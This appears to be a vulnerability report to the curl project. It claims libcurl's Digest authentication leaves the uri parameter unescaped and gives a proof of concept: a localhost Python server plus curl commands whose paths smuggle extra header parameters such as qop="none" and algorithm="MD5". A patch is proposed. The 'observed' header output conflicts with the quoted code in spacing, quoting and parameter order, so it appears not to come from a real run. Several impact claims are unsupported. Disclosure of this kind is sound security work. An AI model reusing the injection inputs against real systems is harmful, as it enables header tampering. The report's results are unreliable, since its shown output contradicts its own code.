curl · Report #3508799
Digest Authentication Header Injection
How it was found
Summary
The Digest authentication implementation in libcurl fails to properly escape the uri parameter in the Authorization header. While other parameters like username, realm, and nonce are correctly escaped using auth_digest_string_quoted(), the uri is inserted raw into the header. This allows an attacker who can control the request URI to inject additional parameters into the HTTP Authorization header, potentially bypassing security controls or causing protocol confusion.
Affected Component
- File:
lib/vauth/digest.c - Function:
auth_create_digest_http_message - Lines: 867-897
Vulnerability Details
Root Cause
In lib/vauth/digest.c, the Digest authentication response is constructed using curl_maprintf. The function properly escapes most parameters but fails to escape the uri parameter:
/* lib/vauth/digest.c:867-882 */
if(digest->qop) {
response = curl_maprintf("username=\"%s\", "
"realm=\"%s\", "
"nonce=\"%s\", "
"uri=\"%s\", " // <- VULNERABLE: uri not escaped
"cnonce=\"%s\", "
"nc=%08x, "
"qop=%s, "
"response=\"%s\"",
userp_quoted, // <- username IS escaped
realm_quoted, // <- realm IS escaped
nonce_quoted, // <- nonce IS escaped
uripath, // <- uri NOT escaped
digest->cnonce,
digest->nc,
digest->qop,
request_digest);
}
Compare this to how username is handled:
/* lib/vauth/digest.c:835-843 */
userp_quoted = auth_digest_string_quoted(userp);
if(!userp_quoted)
return CURLE_OUT_OF_MEMORY;
The auth_digest_string_quoted() function (lines 151-180) properly escapes double quotes and backslashes:
static char *auth_digest_string_quoted(const char *source)
{
char *dest;
const char *s = source;
size_t n = 1; /* null-terminator */
/* Calculate size needed */
while(*s) {
++n;
if(*s == '"' || *s == '\\') {
++n; // Need extra byte for escape character
}
++s;
}
dest = curlx_malloc(n);
if(dest) {
char *d = dest;
s = source;
while(*s) {
if(*s == '"' || *s == '\\') {
*d++ = '\\'; // Add escape character
}
*d++ = *s++;
}
*d = '\0';
}
return dest;
}
Attack Mechanism
If an attacker can control the URI path to include a double quote character, they can:
- Terminate the
urifield early - Inject arbitrary parameters into the Digest header
- Potentially override security-critical parameters like
qoporalgorithm
Proof of Concept
Prerequisites
- curl with Digest authentication support
- Python 3.x for the test server
Step 1: Create the Test Server
Save this as digest_server.py:
import socket
import threading
import time
def start_server(port=8081):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('127.0.0.1', port))
s.listen(1)
print(f"[*] Digest test server listening on port {port}")
while True:
try:
conn, addr = s.accept()
data = conn.recv(4096).decode('utf-8', errors='replace')
if "Authorization: Digest" not in data:
# Send 401 challenge
response = (
"HTTP/1.1 401 Unauthorized\r\n"
"WWW-Authenticate: Digest realm=\"test\", "
"nonce=\"dcd98b7102dd2f0e8b11d0f600bfb0c093\", "
"qop=\"auth\"\r\n"
"Content-Length: 0\r\n"
"\r\n"
)
conn.sendall(response.encode())
print("[*] Sent 401 challenge")
else:
# Extract and display Authorization header
print("\n=== RECEIVED REQUEST ===")
for line in data.split('\r\n'):
if line.startswith('Authorization:'):
print(f"\n{line}\n")
# Highlight the injection
if 'injected=' in line:
print("[!] INJECTION DETECTED!")
print("[!] The 'injected' parameter should NOT be in the header")
# Send 200 OK
response = "HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nOK"
conn.sendall(response.encode())
conn.close()
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
start_server()
Step 2: Start the Server
python digest_server.py
Step 3: Execute the Attack
In another terminal, run curl with a malicious path containing a double quote:
curl -v --path-as-is --digest 'http://user:[email protected]:8081/index.html",injected="true'
Important: The --path-as-is flag is required to prevent curl from normalizing the path.
Step 4: Observe the Result
The server will display output similar to:
[*] Sent 401 challenge
=== RECEIVED REQUEST ===
Authorization: Digest username="user",realm="test",nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",uri="/index.html",injected="true",cnonce="NjE3ZjJkMzQwYzQyMQ==",nc=00000001,response="6629fae49393a05397450978507c4ef1",qop="auth"
[!] INJECTION DETECTED!
[!] The 'injected' parameter should NOT be in the header
Analysis of the Injected Header
The malicious path /index.html",injected="true causes the following header structure:
uri="/index.html",injected="true"
Instead of the expected:
uri="/index.html\",injected=\"true"
This demonstrates that:
- The double quote in the path terminates the
urifield - The attacker-controlled string
injected="true"is inserted as a new parameter - The Digest authentication header is now malformed with an injected parameter
Alternative PoC (Python Script)
import subprocess
# Malicious URL with quote injection
url = 'http://user:[email protected]:8081/index.html",injected="true'
# Execute curl
cmd = ['curl', '-v', '--path-as-is', '--digest', url]
result = subprocess.run(cmd, capture_output=True, text=True)
print("=== STDERR (includes headers) ===")
print(result.stderr)
# Look for the injection
if 'injected="true"' in result.stderr:
print("\n[!] VULNERABILITY CONFIRMED")
print("[!] The injected parameter appears in the Authorization header")
else:
print("\n[*] Injection not detected in output")
Impact
Impact
Security Implications
-
Authentication Parameter Manipulation
- Attacker can inject
qop="none"to downgrade authentication - Inject
algorithm="MD5"to force weaker algorithms - Add custom parameters that might confuse proxies or servers
- Attacker can inject
-
Protocol Confusion
- Malformed headers may cause different parsing by intermediaries
- Could lead to request smuggling in certain proxy configurations
-
Cache Poisoning
- Injected parameters might affect cache keys
- Could lead to serving wrong content to users
-
Logging and Monitoring Bypass
- Security tools parsing the header may be confused
- Injected parameters might not be logged correctly
Attack Scenarios
Scenario 1: QoP Downgrade
curl --digest 'http://user:[email protected]/path",qop="none'
Result: uri="/path",qop="none",cnonce=... - potentially downgrades authentication
Scenario 2: Algorithm Manipulation
curl --digest 'http://user:[email protected]/path",algorithm="MD5'
Result: Forces MD5 algorithm even if server supports stronger options
Recommendation
Fix
Update lib/vauth/digest.c to escape the uri parameter using auth_digest_string_quoted():
/* lib/vauth/digest.c - FIXED VERSION */
// Add this before constructing the response
char *uri_quoted = auth_digest_string_quoted(uripath);
if(!uri_quoted) {
curlx_free(nonce_quoted);
curlx_free(realm_quoted);
curlx_free(userp_quoted);
return CURLE_OUT_OF_MEMORY;
}
if(digest->qop) {
response = curl_maprintf("username=\"%s\", "
"realm=\"%s\", "
"nonce=\"%s\", "
"uri=\"%s\", " // Now using escaped version
"cnonce=\"%s\", "
"nc=%08x, "
"qop=%s, "
"response=\"%s\"",
userp_quoted,
realm_quoted,
nonce_quoted,
uri_quoted, // <- FIXED: using escaped uri
digest->cnonce,
digest->nc,
digest->qop,
request_digest);
}
// Don't forget to free
curlx_free(uri_quoted);
Verification
After applying the fix, the PoC should result in a properly escaped header:
uri="/index.html\",injected=\"true"
The double quotes will be escaped and the injection will fail.